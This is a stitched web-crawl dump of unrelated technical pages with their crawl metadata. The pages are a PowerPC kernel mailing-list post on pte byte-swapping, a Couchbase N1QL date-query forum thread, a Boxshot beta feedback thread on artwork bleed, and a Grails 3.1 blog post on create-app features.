rldicl r8,r11,32,32
rotlwi r28,r11,24
rlwimi r28,r11,8,8,15
rotlwi r6,r8,24
rlwimi r28,r11,8,24,31
rlwimi r6,r8,8,8,15
rlwimi r6,r8,8,24,31
rldicr r28,r28,32,31
or r28,r28,r6
cmpdi cr7,r28,0
beq cr7,2428
That's a whole lot of work just to check if a pte is zero. I assume
the reason gcc can't replace this with a byte reversed load is that
we access the pte via the READ_ONCE() macro.
I see the same issue in unmap_page_range(), __hash_page_64K(),
handle_mm_fault().
The other issue I see is when we access a pte via larx/stcx, and then
we have no choice but to byte swap it manually. I see that in
__hash_page_64K():
rldicl r28,r30,32,32
rotlwi r0,r30,24
rlwimi r0,r30,8,8,15
rotlwi r10,r28,24
rlwimi r0,r30,8,24,31
rlwimi r10,r28,8,8,15
rlwimi r10,r28,8,24,31
rldicr r0,r0,32,31
or r0,r0,r10
hwsync
ldarx r12,0,r6
cmpd r12,r11
bne- c00000000004fad0
stdcx. r0,0,r6
bne- c00000000004fab8
hwsync
Anton
More information about the Linuxppc-dev mailing list | {
"url": "https://lists.ozlabs.org/pipermail/linuxppc-dev/2016-May/143563.html",
"source_domain": "lists.ozlabs.org",
"snapshot_id": "crawl=CC-MAIN-2021-25",
"warc_metadata": {
"Content-Length": "4913",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2SKV6LSFQZ2RNFIHTAFJTEQPDVXHU7GK",
"WARC-Concurrent-To": "<urn:uuid:d48accfc-c0c7-401b-9e05-c7a7a8f172aa>",
"WARC-Date": "2021-06-19T16:50:10Z",
"WARC-IP-Address": "112.213.38.117",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:LW3XA3U4U42JKIZOCNKZCFK5QHZUDQ3O",
"WARC-Record-ID": "<urn:uuid:9b2970a2-6758-497d-b2e3-525250da846e>",
"WARC-Target-URI": "https://lists.ozlabs.org/pipermail/linuxppc-dev/2016-May/143563.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:75bc082a-e2c4-4ace-a31a-5b5a72fd36e1>"
},
"warc_info": "isPartOf: CC-MAIN-2021-25\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-172.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
69,
70,
105,
135,
136,
137,
145,
146,
216,
287,
353,
420,
476,
477,
530,
531,
557,
569,
598,
625,
656,
681,
713,
742,
772,
802,
829,
855,
880,
881,
949,
1017,
1062,
1063,
1126,
1145,
1146,
1216,
1278,
1297,
1298,
1328,
1354,
1384,
1411,
1442,
1473,
1505,
1533,
1559,
1574,
1599,
1624,
1657,
1682,
1715,
1730,
1731,
1737,
1738,
1739
],
"line_end_idx": [
69,
70,
105,
135,
136,
137,
145,
146,
216,
287,
353,
420,
476,
477,
530,
531,
557,
569,
598,
625,
656,
681,
713,
742,
772,
802,
829,
855,
880,
881,
949,
1017,
1062,
1063,
1126,
1145,
1146,
1216,
1278,
1297,
1298,
1328,
1354,
1384,
1411,
1442,
1473,
1505,
1533,
1559,
1574,
1599,
1624,
1657,
1682,
1715,
1730,
1731,
1737,
1738,
1739,
1791
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1791,
"ccnet_original_nlines": 61,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.20681264996528625,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02676399052143097,
"rps_doc_frac_lines_end_with_ellipsis": 0.016129029914736748,
"rps_doc_frac_no_alph_words": 0.38686132431030273,
"rps_doc_frac_unique_words": 0.6891891956329346,
"rps_doc_mean_word_length": 5.045044898986816,
"rps_doc_num_sentences": 12,
"rps_doc_symbol_to_word_ratio": 0.002433090005069971,
"rps_doc_unigram_entropy": 4.82699728012085,
"rps_doc_word_count": 222,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.010714289732277393,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -171.3534698486328,
"rps_doc_books_importance_length_correction": -165.83773803710938,
"rps_doc_openwebtext_importance": -98.33963012695312,
"rps_doc_openwebtext_importance_length_correction": -98.33963012695312,
"rps_doc_wikipedia_importance": -53.37278747558594,
"rps_doc_wikipedia_importance_length_correction": -52.6545524597168
},
"fasttext": {
"dclm": 0.07979720830917358,
"english": 0.753045916557312,
"fineweb_edu_approx": 1.450884461402893,
"eai_general_math": 0.23314309120178223,
"eai_open_web_math": 0.3399592638015747,
"eai_web_code": 0.17998576164245605
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
8,211,695,629,790,023,000 | Problem select date from string (yyyy-mm-dd hh:MM:ss)
Hi all,
i have document like this:
{
“mu”: {
“id”: “test:1”,
“dt”: “2017-07-07 07:00:00”,
“type”: “test”
}
},
{
“mu”: {
“id”: “test:2”,
“dt”: “2017-07-07 12:00:00”,
“type”: “test”
}
},
{
“mu”: {
“id”: “test:3”,
“dt”: “2017-07-05 09:00:00”,
“type”: “test”
}
},
{
“mu”: {
“id”: “test:4”,
“dt”: “2017-07-04 14:00:00”,
“type”: “test”
}
},
{
“mu”: {
“id”: “test:5”,
“tgl”: “2017-07-01 07:00:00”,
“type”: “test”
}
}
right now i want to select document that dt is greater from 2017-07-04, so i can have 3 document in the result.
i already try:
select * from mu where type=‘test’ and STR_TO_MILLIS(dt) > STR_TO_MILLIS(‘2017-07-04 00:00:00’)
but the syntax problem. please help. thanks
best regards,
What errors it gives. It is works.
insert into default values("test1",{"id": "test:1", "dt": "2017-07-07 07:00:00", "type": "test" });
select * from default where type='test' and STR_TO_MILLIS(dt) > STR_TO_MILLIS('2017-07-04 00:00:00');
{
"requestID": "39dc0c43-ba12-4fba-89f8-95455d9d7fb2",
"signature": {
"*": "*"
},
"results": [
{
"default": {
"dt": "2017-07-07 07:00:00",
"id": "test:1",
"type": "test"
}
}
]
}
If date is ISO 8601 format it is string comparable.
select * from mu where type=‘test’ and dt > ‘2017-07-04’;
Your query returns 4 documents not 3 (If the date string does not explicitly declare the value of a component, then a value of 0 is assumed. For example 2016-02-07 is equivalent to 2016-02-07T00:00:00. This is with the exception of the time zone, which if unspecified in the date string will default to the local system time zone.). https://developer.couchbase.com/documentation/server/current/n1ql/n1ql-language-reference/datefun.html | {
"url": "https://forums.couchbase.com/t/problem-select-date-from-string-yyyy-mm-dd-hh-mm-ss/13558",
"source_domain": "forums.couchbase.com",
"snapshot_id": "crawl=CC-MAIN-2022-40",
"warc_metadata": {
"Content-Length": "34811",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:SK6TSAMPTYFTQTQBZL2KSZUKBYIHQXQ5",
"WARC-Concurrent-To": "<urn:uuid:f8857e9c-9c16-4aa5-9016-9d70c47cab2e>",
"WARC-Date": "2022-10-03T12:06:45Z",
"WARC-IP-Address": "184.105.176.43",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:7GJ6T4EBKJJI7YLPQUX3XJCBCXD4ETTK",
"WARC-Record-ID": "<urn:uuid:65570a18-20ad-4d3e-853f-5dacb0fd4132>",
"WARC-Target-URI": "https://forums.couchbase.com/t/problem-select-date-from-string-yyyy-mm-dd-hh-mm-ss/13558",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2e73994c-46b3-442d-bca7-df32bd45a281>"
},
"warc_info": "isPartOf: CC-MAIN-2022-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-194\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
54,
55,
63,
64,
91,
93,
101,
117,
146,
161,
163,
166,
168,
176,
192,
221,
236,
238,
241,
243,
251,
267,
296,
311,
313,
316,
318,
326,
342,
371,
386,
388,
391,
393,
401,
417,
447,
462,
464,
466,
467,
579,
594,
595,
691,
692,
736,
737,
751,
752,
787,
788,
889,
991,
993,
1050,
1069,
1086,
1093,
1110,
1120,
1145,
1190,
1222,
1253,
1267,
1277,
1283,
1285,
1286,
1338,
1339,
1397,
1398
],
"line_end_idx": [
54,
55,
63,
64,
91,
93,
101,
117,
146,
161,
163,
166,
168,
176,
192,
221,
236,
238,
241,
243,
251,
267,
296,
311,
313,
316,
318,
326,
342,
371,
386,
388,
391,
393,
401,
417,
447,
462,
464,
466,
467,
579,
594,
595,
691,
692,
736,
737,
751,
752,
787,
788,
889,
991,
993,
1050,
1069,
1086,
1093,
1110,
1120,
1145,
1190,
1222,
1253,
1267,
1277,
1283,
1285,
1286,
1338,
1339,
1397,
1398,
1833
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1833,
"ccnet_original_nlines": 74,
"rps_doc_curly_bracket": 0.016366610303521156,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.13736264407634735,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012820510193705559,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6062270998954773,
"rps_doc_frac_unique_words": 0.5801886916160583,
"rps_doc_mean_word_length": 5.655660152435303,
"rps_doc_num_sentences": 13,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.589568138122559,
"rps_doc_word_count": 212,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.05004170164465904,
"rps_doc_frac_chars_dupe_6grams": 0.05004170164465904,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.033361129462718964,
"rps_doc_frac_chars_top_3gram": 0.05337781086564064,
"rps_doc_frac_chars_top_4gram": 0.06672226637601852,
"rps_doc_books_importance": -156.1249237060547,
"rps_doc_books_importance_length_correction": -154.87240600585938,
"rps_doc_openwebtext_importance": -69.57508087158203,
"rps_doc_openwebtext_importance_length_correction": -69.57508087158203,
"rps_doc_wikipedia_importance": -80.11307525634766,
"rps_doc_wikipedia_importance_length_correction": -80.10991668701172
},
"fasttext": {
"dclm": 0.879004180431366,
"english": 0.660873532295227,
"fineweb_edu_approx": 1.5226030349731445,
"eai_general_math": 0.5331490635871887,
"eai_open_web_math": 0.0872257873415947,
"eai_web_code": 0.878155529499054
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,570,521,592,471,033,000 | +1
Under review
Boxshot 5.2.3 beta feedback
Vitaly Ovchinnikov 6 months ago updated 6 months ago 12
Boxshot 5.2.3 beta is out with all the requested fixes for the new books. Some details are here: https://boxshot.com/2020/07/25/boxshot-5-2-3.html, please give it a try and leave some feedback below. Thank you :)
Love the new features, my only comment is using a percentage for the artwork wrapping level makes no sense.
When I create my cover in InDesign, the bleed for the artwork wrap is always a fixed dimension as opposed to a dimension. The printer will say for example, add 20 mm, not 10%. Also if receiving the cover with bleed from a designer for me to create the 3D image, again, I will be told the artwork has bled a fixed amount.
Also, if I need to work it out, I can measure the distance in Acrobat. However, it’s never a percentage.
Any chance that this can be changed before release?
here is a cover, the dimensions are front: 165mm×102mm, joint: 8.5mm and width: 27mm
normally, I wouldn't create the image with crop marks for boxshot, but I have here to show the issue.
spread test 2.pdfbug.boxshot5
Under review
Looks like the artwork is not uploaded, could you re-post it, please? If the problem is that the bleeds are visible, Boxshot does not read them and does not crop the artwork to the trim box for historical reasons.
Overall, I got your point regarding the wrapping level vs bleeds. There is currently a limitation for bleeds, as they cannot exceed the "block to cover" distance plus some allowance for the cover thickness and edge radius. So there is a specific range for the bleeds and the percentage looked more native.
It is not a problem to change percents to units, but it may take time to allow larger bleeds, or we may limit bleeds by the distance between the artwork on the outside of the cover and the paper block inside the book.
“we may limit bleeds by the distance between the artwork on the outside of the cover and the paper block inside the book”
this seems to be the correct approach in my eyes :-)
I have created 3 pdfs: https://we.tl/t-g1fPBxgWYE
The first is called spread cropped (good for client).pdf: If the user only has this, then there is no artwork to wrap in which case I understand the logic of using a percentage. The problem of course is that the client cannot see if the writing on the spine is too close to the top of the spine.
The second pdf is called spread with 5mm bleed (good for boxshot).pdf. In this PDF there are no crop marks. If Boxshot is able to detect the bleed from the trim, then there is no need for the “Artwork wrapping level” as it would wrap whatever there was. If there was 20mm of bleed, it would simply know that the distance to hard cover was say 3mm, the edge radius, 1mm and the cover thickness another 2mm, so if I have understood how the calculations work, it would only use the first 6mm of the 20mm of bleed. If the bleed was only 5mm as in the example sent to you, then there would be 1mm missing. I guess the Artwork wrapping level could be use to “fudge things” when it wasn’t absolutely required to be perfect.
The third pdf is the same but with crop marks in case that is useful to you.
Finally, I have understood the joint width to be a separate value from the front cover, is this the case
Here is a screenshot of my InDesign:
https://we.tl/t-jQ8g94lSTX
There are 5 InDesign pages.
❶ is the front
❷ is the joint
❸ the spine
❹ joint again
❺ back
Is this how Boxshot sees the joint? or is the joint part of the front? in other words, for me, the front is 102mm and the joint is 8.5mm, or should it be that the front is 110.5mm and from that the joint is 8.5mm?
+1
I got your point regarding the bleeds processing, we'll see if it can be improved.
As for the joint, it is a part of the front/back covers.
I just want to add, that even using the 5% stretch with a version without bleed makes a really beautiful 3D render. I think the approximation is extremely convincing and certainly good enough for my clients. It’s just my OCD that wants it perfect, although I doubt anybody can tell the difference.
This is really very very good. Kudos!
The percentage slider was designed for the artwork without bleeds, so the question was basically "how much of the artwork at the edges you don't really need, so we can stretch it?" That's why there are percents there instead of centimetres. Your point is good and so far it looks pretty simple to change this to "how much centimetres of the artwork you don't really need?". The rest would be the same and the artwork will anyway be stretched if the bleeds don't match the pages-cover gap. We'll give it a try here and see if it is more convenient than percents.
Glad that you like the new books, please feel free to share some renderings for our gallery :)
+1
Yes this would only work though if a person saved the pdf with bleed. I guess the smart option would be, if at all possible, for it to “read” the bleed value of the pdf. Now let’s see the bleed value was 20mm because that’s what the printer required, but boxshot only needed 5mm, then it would only take 5mm of the 20mm bleed.
If boxshot cannot read the bleed value from the pdf, then the person would then create the artwork with say 5mm bleed specially for boxshot and then write in boxshot “5mm”
I have loads of images for your gallery: here is one: https://we.tl/t-IhkQSu4D9a
For almost 15 years of Boxshot, I don't think someone ever asked for supporting bleeds, so I believe the artwork is prepared a different way for rendering. There is a request for multi-page PDF support and maybe we can consider adding better trim/bleed boxes support there, but so far Boxshot uses crop box when loading PDF and AI files. Providing that we have a "crop texture" option, it might be quite confusing to use both at the same time. Anyway, you are very welcome to submit a separate "idea" request for bleeds, so we can hear the others.
Thanks for the image, if you have more - you are very welcome to post a bulk link privately :)
Honestly, until I started the beta testing, the need for bleeding so that you could render over the edge never occurred to me! The level of detail that you have gone into to make this look good is really amazing.
I suspect that the 5% stretch won’t make any difference in real life.
I will make some time to upload some renders (I have a lot, but will select some nice ones).
I will submit a separate idea as you suggest.
Commenting disabled | {
"url": "https://support.appsforlife.com/en/communities/1/topics/5487-boxshot-523-beta-feedback",
"source_domain": "support.appsforlife.com",
"snapshot_id": "crawl=CC-MAIN-2021-04",
"warc_metadata": {
"Content-Length": "62603",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:UGLPZN7C6ZRIDSRPUC3L3QTSHBMIKKHN",
"WARC-Concurrent-To": "<urn:uuid:a56a588d-0da9-4937-a054-6bd280f1817e>",
"WARC-Date": "2021-01-21T09:00:24Z",
"WARC-IP-Address": "147.135.70.55",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:KIFGG3J762X2YXLTO3DYDC4OCUNLYNOS",
"WARC-Record-ID": "<urn:uuid:b376352a-4c98-44c3-a725-bf64334e4e74>",
"WARC-Target-URI": "https://support.appsforlife.com/en/communities/1/topics/5487-boxshot-523-beta-feedback",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:16ac2f13-8652-4542-bb2b-5fadbe6075ef>"
},
"warc_info": "isPartOf: CC-MAIN-2021-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-103.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
3,
16,
17,
45,
46,
102,
103,
316,
317,
425,
426,
748,
749,
854,
855,
908,
909,
994,
995,
1097,
1098,
1099,
1129,
1130,
1143,
1144,
1358,
1359,
1665,
1666,
1884,
1885,
2007,
2060,
2061,
2111,
2112,
2408,
2409,
3126,
3127,
3204,
3205,
3310,
3311,
3348,
3349,
3376,
3377,
3405,
3420,
3421,
3437,
3438,
3450,
3451,
3466,
3467,
3474,
3475,
3689,
3690,
3693,
3694,
3777,
3778,
3835,
3836,
4134,
4135,
4173,
4174,
4736,
4737,
4832,
4833,
4836,
4837,
5164,
5165,
5337,
5338,
5419,
5420,
5968,
5969,
6064,
6065,
6278,
6279,
6350,
6351,
6444,
6445,
6491,
6492
],
"line_end_idx": [
3,
16,
17,
45,
46,
102,
103,
316,
317,
425,
426,
748,
749,
854,
855,
908,
909,
994,
995,
1097,
1098,
1099,
1129,
1130,
1143,
1144,
1358,
1359,
1665,
1666,
1884,
1885,
2007,
2060,
2061,
2111,
2112,
2408,
2409,
3126,
3127,
3204,
3205,
3310,
3311,
3348,
3349,
3376,
3377,
3405,
3420,
3421,
3437,
3438,
3450,
3451,
3466,
3467,
3474,
3475,
3689,
3690,
3693,
3694,
3777,
3778,
3835,
3836,
4134,
4135,
4173,
4174,
4736,
4737,
4832,
4833,
4836,
4837,
5164,
5165,
5337,
5338,
5419,
5420,
5968,
5969,
6064,
6065,
6278,
6279,
6350,
6351,
6444,
6445,
6491,
6492,
6511
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6511,
"ccnet_original_nlines": 96,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.47372061014175415,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.022130010649561882,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.164591982960701,
"rps_doc_frac_unique_words": 0.3481917679309845,
"rps_doc_mean_word_length": 4.255677223205566,
"rps_doc_num_sentences": 71,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.231896877288818,
"rps_doc_word_count": 1189,
"rps_doc_frac_chars_dupe_10grams": 0.03596837818622589,
"rps_doc_frac_chars_dupe_5grams": 0.053359679877758026,
"rps_doc_frac_chars_dupe_6grams": 0.04584980010986328,
"rps_doc_frac_chars_dupe_7grams": 0.03596837818622589,
"rps_doc_frac_chars_dupe_8grams": 0.03596837818622589,
"rps_doc_frac_chars_dupe_9grams": 0.03596837818622589,
"rps_doc_frac_chars_top_2gram": 0.027667980641126633,
"rps_doc_frac_chars_top_3gram": 0.007707510143518448,
"rps_doc_frac_chars_top_4gram": 0.003952569793909788,
"rps_doc_books_importance": -697.7237548828125,
"rps_doc_books_importance_length_correction": -697.7237548828125,
"rps_doc_openwebtext_importance": -409.6650695800781,
"rps_doc_openwebtext_importance_length_correction": -409.6650695800781,
"rps_doc_wikipedia_importance": -271.7596130371094,
"rps_doc_wikipedia_importance_length_correction": -271.7596130371094
},
"fasttext": {
"dclm": 0.08472943305969238,
"english": 0.955730140209198,
"fineweb_edu_approx": 1.5199497938156128,
"eai_general_math": 0.8781232833862305,
"eai_open_web_math": 0.45668739080429077,
"eai_web_code": 0.18612009286880493
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "658.7",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,548,578,899,426,075,000 | Search
January 29, 2016
Grails Goodness: Using Features When Creating An Application
With the release of Grails 3.1 we can use features, defined in a profile, when we create a new application. Features will add certain dependencies to our Grails project, so we can start quickly. To see which features are available we use the profile-info command. This command lists available features for an application. We can choose the features we want to be included and pass them via the --features command line option of the create-app command.
When we look at the features available for the rest-api profile we see the following list:
$ grails profile-info rest-api
...
Provided Features:
--------------------
* asset-pipeline - Adds Asset Pipeline to a Grails project
* hibernate - Adds GORM for Hibernate to the project
* json-views - Adds support for JSON Views to the project
* markup-views - Adds support for Markup Views to the project
* mongodb - Adds GORM for MongoDB to the project
* neo4j - Adds GORM for Neo4j to the project
* security - Adds Spring Security REST to the project
$
Let's create a new Grails application with the rest-api profile and use the mongodb, json-views and security features:
$ grails create-app --profile rest-api --features mongodb,json-views,security api
| Application created at /Users/mrhaki/Projects/mrhaki.com/blog/posts/samples/grails31/api
$
When we look at the contents of the generated build.gradle we can see dependencies for the features we have selected:
// File: build.gradle
buildscript {
ext {
grailsVersion = project.grailsVersion
}
repositories {
mavenLocal()
maven { url "https://repo.grails.org/grails/core" }
}
dependencies {
classpath "org.grails:grails-gradle-plugin:$grailsVersion"
classpath "org.grails.plugins:views-gradle:1.0.0"
}
}
version "0.1"
group "api"
apply plugin:"eclipse"
apply plugin:"idea"
apply plugin:"org.grails.grails-web"
apply plugin:"org.grails.plugins.views-json"
ext {
grailsVersion = project.grailsVersion
gradleWrapperVersion = project.gradleWrapperVersion
}
repositories {
mavenLocal()
maven { url "https://repo.grails.org/grails/core" }
}
dependencyManagement {
imports {
mavenBom "org.grails:grails-bom:$grailsVersion"
}
applyMavenExclusions false
}
dependencies {
compile "org.springframework.boot:spring-boot-starter-logging"
compile "org.springframework.boot:spring-boot-autoconfigure"
compile "org.grails:grails-core"
compile "org.springframework.boot:spring-boot-starter-actuator"
compile "org.springframework.boot:spring-boot-starter-tomcat"
compile "org.grails:grails-plugin-url-mappings"
compile "org.grails:grails-plugin-rest"
compile "org.grails:grails-plugin-codecs"
compile "org.grails:grails-plugin-interceptors"
compile "org.grails:grails-plugin-services"
compile "org.grails:grails-plugin-datasource"
compile "org.grails:grails-plugin-databinding"
compile "org.grails:grails-plugin-async"
compile "org.grails:grails-web-boot"
compile "org.grails:grails-logging"
compile "org.grails.plugins:cache"
compile "org.grails.plugins:views-json"
compile "org.grails.plugins:mongodb"
compile "org.grails:grails-plugin-gsp"
compile "org.grails.plugins:spring-security-rest:2.0.0.M1"
console "org.grails:grails-console"
profile "org.grails.profiles:rest-api:3.1.0"
testCompile "org.grails:grails-plugin-testing"
testCompile "org.grails.plugins:geb"
testCompile "org.grails:grails-datastore-rest-client"
testRuntime "org.seleniumhq.selenium:selenium-htmlunit-driver:2.47.1"
testRuntime "net.sourceforge.htmlunit:htmlunit:2.18"
}
task wrapper(type: Wrapper) {
gradleVersion = gradleWrapperVersion
}
Written with Grails 3.1. | {
"url": "https://blog.mrhaki.com/2016/01/grails-goodness-using-features-when.html",
"source_domain": "blog.mrhaki.com",
"snapshot_id": "crawl=CC-MAIN-2020-50",
"warc_metadata": {
"Content-Length": "34575",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:K65PXVFIS3EFLX4K2Y6SF5A5NO7SDD6N",
"WARC-Concurrent-To": "<urn:uuid:00d12dde-7225-45cf-b936-5552fe5e1fd4>",
"WARC-Date": "2020-11-28T02:00:43Z",
"WARC-IP-Address": "172.217.7.179",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:PW5XHSUH74EVMV6WQVR5KZ7NG6E2F4NM",
"WARC-Record-ID": "<urn:uuid:85ed33b3-6157-42ec-a236-89de41653b99>",
"WARC-Target-URI": "https://blog.mrhaki.com/2016/01/grails-goodness-using-features-when.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:45567584-081b-40b5-aa52-cc7732263791>"
},
